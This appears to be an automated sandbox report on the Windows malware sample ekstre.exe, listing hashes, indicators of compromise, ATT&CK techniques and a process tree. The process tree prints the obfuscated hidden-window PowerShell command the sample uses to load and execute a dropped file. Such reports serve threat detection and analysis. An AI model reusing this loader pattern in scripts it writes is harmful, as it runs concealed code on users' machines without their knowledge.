05c29b1d96008476d28b42a13a4e34e81b628ef4d2bfb203d0075a247bb9431c

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
06/02/2024, 08:27

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General

Target
ekstre.exe
Size 634KB
Sample240206-kcemwsddhr
SHA256 05c29b1d96008476d28b42a13a4e34e81b628ef4d2bfb203d0075a247bb9431c
MD5 08f1f60ad0273992c1ddb62bc12dd7b5
SHA1 8c99f783c4ca334c45e74d9b38d2da88853593b8
SHA512 a742f268d5693d75db9ecb456a3b91be16db31c6552f2a72ff481288646c856dca0b9fc6268f9bc299a1f3ccbecdb6997bfb05de350b8ae40b00f11f2803892c
SSDEEP 12288:Ul1vJDJKWMN1JSqHXe6smw9qG0QY5sM9Hws8CYb7pjPDdtGzU4PW/:Ul1vbKWcrYqGgJwjr7pPhtwUt
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Loads dropped DLL 1 IoCs

pid	Process
3028	ekstre.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Fonts\Autoophuggernes\undaily.uns	ekstre.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1872	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1872	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3028 wrote to memory of 1872	3028	ekstre.exe	28
PID 3028 wrote to memory of 1872	3028	ekstre.exe	28
PID 3028 wrote to memory of 1872	3028	ekstre.exe	28
PID 3028 wrote to memory of 1872	3028	ekstre.exe	28

C:\Users\Admin\AppData\Local\Temp\ekstre.exe
"C:\Users\Admin\AppData\Local\Temp\ekstre.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3028
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Undertones=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Theologization239\detektors\atlantosaurus\Lovliggrelser\Sektionerer\Cupidon\Kobolt.Gla';$Barsellov=$Undertones.SubString(42698,3);.$Barsellov($Undertones)"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

nsExec.dll

Path \Users\Admin\AppData\Local\Temp\nsy945.tmp\nsExec.dll
Size 6KB
SHA256 288100583f65a2b7acfc0c7e231c0e268c58d3067675543f627c01e82f6fd884
MD5 b5a1f9dc73e2944a388a61411bdd8c70
SHA1 dc9b20df3f3810c2e81a0c54dea385704ba8bef7
SHA512 b9c8d71b5da00f2aff7847b9ec3bd8a588afeb525f47a0df235b52f7b2233edb3928a2c8e0b493f287c923cc52a340ad6fee99822595d6591df0e97870de92a8
SSDEEP 96:p7GUxNkO6GR0t9GKKr1Zd8NHYVVHp4dEeY3kRnHdMqqyVgNQ3e:lXhHR0aTQN4gRHdMqJVgNH
MD5 SHA1 SHA512 SSDEEP

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memory/1872-13-0x0000000073E00000-0x00000000743AB000-memory.dmp

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memory/1872-14-0x0000000073E00000-0x00000000743AB000-memory.dmp

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memory/1872-17-0x00000000028A0000-0x00000000028E0000-memory.dmp

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memory/1872-16-0x00000000028A0000-0x00000000028E0000-memory.dmp

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memory/1872-15-0x00000000028A0000-0x00000000028E0000-memory.dmp

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memory/1872-18-0x0000000073E00000-0x00000000743AB000-memory.dmp

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